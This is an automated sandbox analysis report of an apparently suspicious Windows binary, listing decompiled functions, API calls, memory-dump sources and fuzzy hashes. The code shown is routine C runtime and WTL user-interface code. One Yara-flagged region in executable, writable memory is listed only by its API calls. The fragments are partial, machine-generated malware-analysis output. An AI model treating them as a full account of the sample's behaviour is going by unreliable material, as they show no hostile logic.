Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Locale$UpdateUpdate::___getptd
String ID: >*
API String ID: 3914705266-2119124535
Opcode ID: 79ff44a6565b4d8c7df63caba67225e6508255aa534951af918f1b7c4bcf80d8
Instruction ID: b85cf8e5ad25796d986196bf4552ae9f336767e32aa83c3aea629f7c92565a73
Opcode Fuzzy Hash: 79ff44a6565b4d8c7df63caba67225e6508255aa534951af918f1b7c4bcf80d8
Instruction Fuzzy Hash: 6541A531944285AFEF269B78C4457AD7FA0AF01364F2842C8F4E15B1EAD7F59DA2C780

Uniqueness

Uniqueness Score: -1.00%

Function 000F3650 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 112stringCOMMON

Download Yara Rule

APIs

Part of subcall function 000F3340: lstrlenA.KERNEL32(?,1F9A9BDF,?,00000000,00000000), ref: 000F338F
Part of subcall function 000F3340: CoTaskMemFree.OLE32(00000000,?,1F9A9BDF,?,00000000,00000000), ref: 000F33D0

lstrcmpiA.KERNEL32(?,?,00000000), ref: 000F36CF
CoTaskMemFree.OLE32(00000000), ref: 000F3755
CharNextA.USER32(00000000,0000007B,00000000,00000000,00000000,?,00000000), ref: 000F37A2

Strings

{, xrefs: 000F3702

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: FreeTask$CharNextlstrcmpilstrlen
String ID: {
API String ID: 3294900980-366298937
Opcode ID: 179a55403d82c4b9dc37e85eaf46d8e7d419e549713e66ea93c17d33a423ce34
Instruction ID: 6a1d6a86d93f2b3114753d831b9697a60faef629565abb088ee9a72e55bec3a3
Opcode Fuzzy Hash: 179a55403d82c4b9dc37e85eaf46d8e7d419e549713e66ea93c17d33a423ce34
Instruction Fuzzy Hash: 0841D7F590826D9BD736AB54CC807FEB7E4AB08721F104199E745DB641D770AF809BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00101BD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

MonitorFromPoint.USER32(?,?,00000000), ref: 00101BEB
MonitorFromPoint.USER32(?,?,00000002), ref: 00101BF5
GetMonitorInfoA.USER32 ref: 00101C24

Strings

(, xrefs: 00101C1D

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Monitor$FromPoint$Info
String ID: (
API String ID: 1942056148-3887548279
Opcode ID: 2d922f945379630bf0ba59cbd92dabfb5834a830c1174c6053e1575ee688d112
Instruction ID: f66ce08f0f54cb5f7e3e64522d263de6807d11410d647f38ab7a78bea49fff79
Opcode Fuzzy Hash: 2d922f945379630bf0ba59cbd92dabfb5834a830c1174c6053e1575ee688d112
Instruction Fuzzy Hash: 9011CC70E45209ABDB18DFA99945AEEBBB8AB08300F50816EE455F6380D7749A408B68

Uniqueness

Uniqueness Score: -1.00%

Function 000FD050 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E000FD050(struct HWND__* __ecx) {
				int _v8;
				int _v12;
				void* _v16;
				struct HWND__* _t8;
				struct HWND__* _t15;

				_t15 = CreateWindowExA(0, "ReBarWindow32", 0, 0x56002640, 0, 0, 0x64, 0x64, __ecx, 0xe800,  *0x170c08, 0);
				_t8 = 0;
				if(_t15 == 0) {
					L4:
					return _t8;
				} else {
					_v12 = 0;
					_v8 = 0;
					_v16 = 0xc;
					_v12 = 0;
					if(SendMessageA(_t15, 0x404, 0,  &_v16) != 0) {
						_t8 = _t15;
						goto L4;
					} else {
						DestroyWindow(_t15);
						return 0;
					}
				}
			}

0x000fd081
0x000fd083
0x000fd087
0x000fd0be
0x000fd0c2
0x000fd089
0x000fd093
0x000fd097
0x000fd09a
0x000fd0a1
0x000fd0ac
0x000fd0bc
0x00000000
0x000fd0ae
0x000fd0af
0x000fd0bb
0x000fd0bb
0x000fd0ac

APIs

CreateWindowExA.USER32 ref: 000FD07B
SendMessageA.USER32(00000000,00000404,00000000,000F7DAA), ref: 000FD0A4
DestroyWindow.USER32(00000000), ref: 000FD0AF

Strings

ReBarWindow32, xrefs: 000FD074

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Window$CreateDestroyMessageSend
String ID: ReBarWindow32
API String ID: 238161798-2848004845
Opcode ID: ef13673f7216706ed59d03a70385a047cf5918451bc92e16e0a1a4f71e54fda3
Instruction ID: d3efa77bf46f5fc2833e0b0ce90e6b025bff96dd62dd55c93b4faca4214cacb7
Opcode Fuzzy Hash: ef13673f7216706ed59d03a70385a047cf5918451bc92e16e0a1a4f71e54fda3
Instruction Fuzzy Hash: E6F08171B54318BBE7209BA89C06FAA7BA8DB44B01F108156FB08FA680EAF058408795

Uniqueness

Uniqueness Score: -1.00%

Function 000FFAB0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 18
registrywindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E000FFAB0() {
				intOrPtr _t1;
				intOrPtr _t2;
				intOrPtr _t4;
				struct _CRITICAL_SECTION* _t5;

				_t1 =  *0x1719a4; // 0x0
				if(_t1 == 0) {
					_t4 =  *0x17196c; // 0x1719bc
					_t5 = _t4 + 0x10;
					EnterCriticalSection(_t5);
					if( *0x1719a4 == 0) {
						 *0x1719a4 = RegisterWindowMessageA("WTL_CmdBar_InternalAutoPopupMsg");
					}
					LeaveCriticalSection(_t5);
					_t2 =  *0x1719a4; // 0x0
					return _t2;
				}
				return _t1;
			}

0x000ffab0
0x000ffab8
0x000ffaba
0x000ffac0
0x000ffac4
0x000ffad1
0x000ffade
0x000ffade
0x000ffae4
0x000ffaea
0x00000000
0x000ffaea
0x000ffaf0

APIs

EnterCriticalSection.KERNEL32(001719AC,?,000FC31F), ref: 000FFAC4
RegisterWindowMessageA.USER32(WTL_CmdBar_InternalAutoPopupMsg), ref: 000FFAD8
LeaveCriticalSection.KERNEL32(001719AC), ref: 000FFAE4

Strings

WTL_CmdBar_InternalAutoPopupMsg, xrefs: 000FFAD3

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: CriticalSection$EnterLeaveMessageRegisterWindow
String ID: WTL_CmdBar_InternalAutoPopupMsg
API String ID: 6923546-631010736
Opcode ID: 15015354eaba06c8285cebec87d7585f8e916efe4fcf6e365cde459ddbf30ac4
Instruction ID: 6186c238f5554303396dbe8439228427f2270015e2377f7843786e57d66b4522
Opcode Fuzzy Hash: 15015354eaba06c8285cebec87d7585f8e916efe4fcf6e365cde459ddbf30ac4
Instruction Fuzzy Hash: 55E0BF32D07215AFDB459B19FE185F63B74EF49319B084010FA0897920D37559C6CA56

Uniqueness

Uniqueness Score: -1.00%

Function 000FFB00 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 18
registrywindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E000FFB00() {
				intOrPtr _t1;
				intOrPtr _t2;
				intOrPtr _t4;
				struct _CRITICAL_SECTION* _t5;

				_t1 =  *0x1719a8; // 0x0
				if(_t1 == 0) {
					_t4 =  *0x17196c; // 0x1719bc
					_t5 = _t4 + 0x10;
					EnterCriticalSection(_t5);
					if( *0x1719a8 == 0) {
						 *0x1719a8 = RegisterWindowMessageA("WTL_CmdBar_InternalGetBarMsg");
					}
					LeaveCriticalSection(_t5);
					_t2 =  *0x1719a8; // 0x0
					return _t2;
				}
				return _t1;
			}

0x000ffb00
0x000ffb08
0x000ffb0a
0x000ffb10
0x000ffb14
0x000ffb21
0x000ffb2e
0x000ffb2e
0x000ffb34
0x000ffb3a
0x00000000
0x000ffb3a
0x000ffb40

APIs

EnterCriticalSection.KERNEL32(001719AC,?,000FC34D), ref: 000FFB14
RegisterWindowMessageA.USER32(WTL_CmdBar_InternalGetBarMsg), ref: 000FFB28
LeaveCriticalSection.KERNEL32(001719AC), ref: 000FFB34

Strings

WTL_CmdBar_InternalGetBarMsg, xrefs: 000FFB23

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: CriticalSection$EnterLeaveMessageRegisterWindow
String ID: WTL_CmdBar_InternalGetBarMsg
API String ID: 6923546-1327875102
Opcode ID: f7e2084e69ca487dab56f0af779fe5f85d4d59496911ef7e1b817e1801607ab5
Instruction ID: 1959cbd77965d9deeb93f288b97c5baad692a2283876c4d2ea7d9c8c4159ee77
Opcode Fuzzy Hash: f7e2084e69ca487dab56f0af779fe5f85d4d59496911ef7e1b817e1801607ab5
Instruction Fuzzy Hash: 09E0B636D02215BFDB459B18FD69AE677B4AB0931AB444020FA08A2920C7755ACBCB96

Uniqueness

Uniqueness Score: -1.00%

Function 0252AE17 Relevance: 6.3, APIs: 5, Instructions: 69stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000), ref: 0252AE57
lstrcat.KERNEL32(00000000,00000000), ref: 0252AEA6
lstrlen.KERNEL32(00000000), ref: 0252AEB0
lstrlen.KERNEL32(00000000), ref: 0252AEC8
lstrlen.KERNEL32(00000000), ref: 0252AEE0

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcat
String ID:
API String ID: 493641738-0
Opcode ID: 35d9e52ac383ca9180f4409b48d3a1ff78ea3681c8e39d1029901aa48980c775
Instruction ID: dce18052e36e6ab5e3b8c18bfe617f69dd11d6f1119d08963731fb34039706c5
Opcode Fuzzy Hash: 35d9e52ac383ca9180f4409b48d3a1ff78ea3681c8e39d1029901aa48980c775
Instruction Fuzzy Hash: DB218E7080035AEFDF14CFA4C988BAE7BB5FF45304F148958E944A72C0D3789A99CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00105BAB Relevance: 6.2, APIs: 4, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E00105BAB(void* __ebx, void* __edi, signed char* _a4, signed int _a8, intOrPtr _a12) {
				signed int _v7;
				signed int _v8;
				char _v12;
				intOrPtr _v16;
				signed int _v20;
				char _v24;
				signed int _t72;
				signed int _t74;
				intOrPtr _t75;
				void* _t77;
				intOrPtr _t79;
				signed short _t82;
				void* _t84;
				signed short _t87;
				intOrPtr _t91;
				signed int _t97;
				signed int _t100;
				void* _t101;
				signed int _t102;
				void* _t103;
				signed int _t104;
				signed char* _t114;
				signed char* _t115;
				signed int _t116;
				signed int _t117;
				signed int _t118;
				signed int _t124;
				signed int _t125;
				void* _t127;

				E001059F5(__ebx,  &_v24, __edi, _a12);
				_t114 = _a4;
				_t129 = _t114;
				if(_t114 != 0) {
					_push(__ebx);
					_t97 = _a8;
					__eflags = _t97;
					if(__eflags != 0) {
						_t72 = _v20;
						__eflags =  *(_t72 + 8);
						if( *(_t72 + 8) != 0) {
							_push(__edi);
							while(1) {
								_t100 =  *_t114 & 0x000000ff;
								_t124 = _t100 & 0x000000ff;
								_t115 =  &(_t114[1]);
								__eflags =  *(_t124 + _t72 + 0x1d) & 0x00000004;
								_a4 = _t115;
								if(( *(_t124 + _t72 + 0x1d) & 0x00000004) == 0) {
									goto L20;
								}
								__eflags =  *_t115;
								if(__eflags != 0) {
									_t84 = E00108008(_t97, 0x200, __eflags,  &_v24,  *((intOrPtr*)(_t72 + 0xc)), 0x200, _t115 - 1, 2,  &_v8, 2,  *((intOrPtr*)(_t72 + 4)), 1);
									_t127 = _t127 + 0x24;
									__eflags = _t84 - 1;
									if(_t84 != 1) {
										__eflags = _t84 - 2;
										if(__eflags != 0) {
											goto L37;
										} else {
											_t87 = (_v8 & 0x000000ff) * 0x100 + (_v7 & 0x000000ff);
											__eflags = _t87;
											_t125 = _t87 & 0x0000ffff;
											goto L19;
										}
									} else {
										_t125 = _v8 & 0x000000ff;
										L19:
										_a4 =  &(_a4[1]);
										_t72 = _v20;
										goto L23;
									}
								} else {
									_t125 = 0;
									L23:
									_t102 =  *_t97 & 0x000000ff;
									_t117 = _t102 & 0x000000ff;
									_t97 = _t97 + 1;
									__eflags =  *(_t117 + _t72 + 0x1d) & 0x00000004;
									if(( *(_t117 + _t72 + 0x1d) & 0x00000004) == 0) {
										_t118 = _t102;
										_t103 = _t118 + _t72;
										__eflags =  *(_t103 + 0x1d) & 0x00000010;
										if(( *(_t103 + 0x1d) & 0x00000010) == 0) {
											_t104 = _t118;
										} else {
											_t104 =  *(_t103 + 0x11d) & 0x000000ff;
										}
										goto L34;
									} else {
										__eflags =  *_t97;
										if(__eflags != 0) {
											_t77 = E00108008(_t97, 0x200, __eflags,  &_v24,  *((intOrPtr*)(_t72 + 0xc)), 0x200, _t97 - 1, 2,  &_v8, 2,  *((intOrPtr*)(_t72 + 4)), 1);
											_t127 = _t127 + 0x24;
											__eflags = _t77 - 1;
											if(_t77 != 1) {
												__eflags = _t77 - 2;
												if(__eflags != 0) {
													L37:
													 *((intOrPtr*)(E00107A0D(__eflags))) = 0x16;
													__eflags = _v12;
													if(_v12 != 0) {
														_t79 = _v16;
														_t61 = _t79 + 0x70;
														 *_t61 =  *(_t79 + 0x70) & 0xfffffffd;
														__eflags =  *_t61;
													}
													_t74 = 0x7fffffff;
												} else {
													_t82 = (_v8 & 0x000000ff) * 0x100 + (_v7 & 0x000000ff);
													__eflags = _t82;
													_t104 = _t82 & 0x0000ffff;
													goto L30;
												}
											} else {
												_t104 = _v8 & 0x000000ff;
												L30:
												_t72 = _v20;
												_t97 = _t97 + 1;
												goto L34;
											}
										} else {
											_t104 = 0;
											L34:
											__eflags = _t104 - _t125;
											if(_t104 != _t125) {
												asm("sbb eax, eax");
												_t74 = (_t72 & 0x00000002) - 1;
												__eflags = _v12;
												if(_v12 != 0) {
													 *(_v16 + 0x70) =  *(_v16 + 0x70) & 0xfffffffd;
												}
											} else {
												__eflags = _t125;
												if(_t125 == 0) {
													__eflags = _v12;
													if(_v12 != 0) {
														_t75 = _v16;
														_t69 = _t75 + 0x70;
														 *_t69 =  *(_t75 + 0x70) & 0xfffffffd;
														__eflags =  *_t69;
													}
													_t74 = 0;
													__eflags = 0;
												} else {
													_t114 = _a4;
													continue;
												}
											}
										}
									}
								}
								goto L46;
								L20:
								_t116 = _t100;
								_t101 = _t116 + _t72;
								__eflags =  *(_t101 + 0x1d) & 0x00000010;
								if(( *(_t101 + 0x1d) & 0x00000010) == 0) {
									_t125 = _t116;
								} else {
									_t125 =  *(_t101 + 0x11d) & 0x000000ff;
								}
								goto L23;
							}
						} else {
							_t74 = E00108087(_t114, __edi, _t114, _t97,  &_v24);
							__eflags = _v12;
							if(_v12 != 0) {
								 *(_v16 + 0x70) =  *(_v16 + 0x70) & 0xfffffffd;
							}
						}
					} else {
						 *((intOrPtr*)(E00107A0D(__eflags))) = 0x16;
						E001079BB();
						__eflags = _v12 - _t97;
						if(_v12 != _t97) {
							_t91 = _v16;
							_t11 = _t91 + 0x70;
							 *_t11 =  *(_t91 + 0x70) & 0xfffffffd;
							__eflags =  *_t11;
						}
						_t74 = 0x7fffffff;
					}
					L46:
					return _t74;
				} else {
					 *((intOrPtr*)(E00107A0D(_t129))) = 0x16;
					E001079BB();
					if(_v12 != 0) {
						 *(_v16 + 0x70) =  *(_v16 + 0x70) & 0xfffffffd;
					}
					return 0x7fffffff;
				}
			}

0x00105bb9
0x00105bbe
0x00105bc1
0x00105bc3
0x00105be9
0x00105bea
0x00105bed
0x00105bef
0x00105c17
0x00105c1a
0x00105c1e
0x00105c44
0x00105c4b
0x00105c4b
0x00105c4e
0x00105c51
0x00105c52
0x00105c57
0x00105c5a
0x00000000
0x00000000
0x00105c5c
0x00105c5f
0x00105c7c
0x00105c81
0x00105c84
0x00105c87
0x00105c8f
0x00105c92
0x00000000
0x00105c98
0x00105ca9
0x00105ca9
0x00105cac
0x00000000
0x00105cac
0x00105c89
0x00105c89
0x00105caf
0x00105caf
0x00105cb2
0x00000000
0x00105cb2
0x00105c61
0x00105c61
0x00105ccd
0x00105ccd
0x00105cd0
0x00105cd3
0x00105cd4
0x00105cd9
0x00105d32
0x00105d34
0x00105d37
0x00105d3b
0x00105d46
0x00105d3d
0x00105d3d
0x00105d3d
0x00000000
0x00105cdb
0x00105cdb
0x00105cde
0x00105cfd
0x00105d02
0x00105d05
0x00105d08
0x00105d10
0x00105d13
0x00105d5a
0x00105d5f
0x00105d65
0x00105d69
0x00105d6b
0x00105d6e
0x00105d6e
0x00105d6e
0x00105d6e
0x00105d72
0x00105d15
0x00105d26
0x00105d26
0x00105d29
0x00000000
0x00105d29
0x00105d0a
0x00105d0a
0x00105d2c
0x00105d2c
0x00105d2f
0x00000000
0x00105d2f
0x00105ce0
0x00105ce0
0x00105d48
0x00105d48
0x00105d4b
0x00105d79
0x00105d7e
0x00105d7f
0x00105d83
0x00105d88
0x00105d88
0x00105d4d
0x00105d4d
0x00105d50
0x00105d8e
0x00105d92
0x00105d94
0x00105d97
0x00105d97
0x00105d97
0x00105d97
0x00105d9b
0x00105d9b
0x00105d52
0x00105d52
0x00000000
0x00105d52
0x00105d50
0x00105d4b
0x00105cde
0x00105cd9
0x00000000
0x00105cb7
0x00105cb7
0x00105cb9
0x00105cbc
0x00105cc0
0x00105ccb
0x00105cc2
0x00105cc2
0x00105cc2
0x00000000
0x00105cc0
0x00105c20
0x00105c26
0x00105c2e
0x00105c32
0x00105c3b
0x00105c3b
0x00105c32
0x00105bf1
0x00105bf6
0x00105bfc
0x00105c01
0x00105c04
0x00105c06
0x00105c09
0x00105c09
0x00105c09
0x00105c09
0x00105c0d
0x00105c0d
0x00105d9f
0x00105da1
0x00105bc5
0x00105bca
0x00105bd0
0x00105bd9
0x00105bde
0x00105bde
0x00105be8
0x00105be8

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00105BB9

Part of subcall function 001059F5: __getptd.LIBCMT ref: 00105A08

Part of subcall function 00107A0D: __getptd_noexit.LIBCMT ref: 00107A0D

__stricmp_l.LIBCMT ref: 00105C26

Part of subcall function 00108087: _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00108096

___crtLCMapStringA.LIBCMT ref: 00105C7C
___crtLCMapStringA.LIBCMT ref: 00105CFD

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Locale$StringUpdateUpdate::____crt$__getptd__getptd_noexit__stricmp_l
String ID:
API String ID: 2544346105-0
Opcode ID: e81381012233a32f466daf1c9effd4de1b6a53fdfbdc6e1d13210bb8a7fa3cdc
Instruction ID: 35480c1b1e3ccfc34c46965e46aa45f66a9c1ebf9ac5762ed76baf38efee8e22
Opcode Fuzzy Hash: e81381012233a32f466daf1c9effd4de1b6a53fdfbdc6e1d13210bb8a7fa3cdc
Instruction Fuzzy Hash: 67515F70D04689ABDF299BA4C489BBF7BB6AF01324F284199F0E25B1D2D7B08D41DF50

Uniqueness

Uniqueness Score: -1.00%

Function 0010D63D Relevance: 6.1, APIs: 4, Instructions: 103
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0010D63D(void* __edi, short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				void* __ebx;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				int _t57;
				int _t58;
				char _t59;
				short* _t60;
				int _t65;
				char* _t73;

				_t73 = _a8;
				if(_t73 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t73 != 0) {
						E001059F5(0,  &_v20, __edi, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E0010BB46( *_t73 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t73, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E00107A0D(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t65 =  *(_t56 + 0xac);
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								__eflags = _a12 -  *(_t56 + 0xac);
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t73[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t57 =  *(_t56 + 0xac);
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t58 = MultiByteToWideChar( *(_t56 + 4), 9, _t73, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t73 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

0x0010d647
0x0010d64e
0x0010d665
0x00000000
0x0010d655
0x0010d657
0x0010d671
0x0010d676
0x0010d679
0x0010d67c
0x0010d6a4
0x0010d6ab
0x0010d6ad
0x0010d72e
0x0010d749
0x0010d74b
0x0010d68b
0x0010d68b
0x0010d68e
0x0010d690
0x0010d693
0x0010d693
0x0010d693
0x0010d693
0x00000000
0x0010d699
0x0010d70d
0x0010d70d
0x0010d712
0x0010d718
0x0010d71b
0x0010d71d
0x0010d720
0x0010d720
0x0010d720
0x0010d720
0x00000000
0x0010d724
0x0010d6af
0x0010d6b2
0x0010d6b8
0x0010d6bb
0x0010d6e2
0x0010d6e5
0x0010d6eb
0x00000000
0x00000000
0x0010d6ed
0x0010d6f0
0x00000000
0x00000000
0x0010d6f2
0x0010d6f2
0x0010d6f8
0x0010d6fb
0x0010d66a
0x0010d66a
0x0010d704
0x00000000
0x0010d704
0x0010d6bd
0x0010d6c0
0x00000000
0x00000000
0x0010d6c4
0x0010d6d5
0x0010d6db
0x0010d6dd
0x0010d6e0
0x00000000
0x00000000
0x00000000
0x0010d6e0
0x0010d67e
0x0010d681
0x0010d683
0x0010d688
0x0010d688
0x00000000
0x0010d659
0x0010d659
0x0010d65e
0x0010d662
0x0010d662
0x00000000
0x0010d65e
0x0010d657

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0010D671
__isleadbyte_l.LIBCMT ref: 0010D6A4
MultiByteToWideChar.KERNEL32(00000080,00000009,00108355,?,00000000,00000000,?,?,?,?,00108355,00000000), ref: 0010D6D5
MultiByteToWideChar.KERNEL32(00000080,00000009,00108355,00000001,00000000,00000000,?,?,?,?,00108355,00000000), ref: 0010D743

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

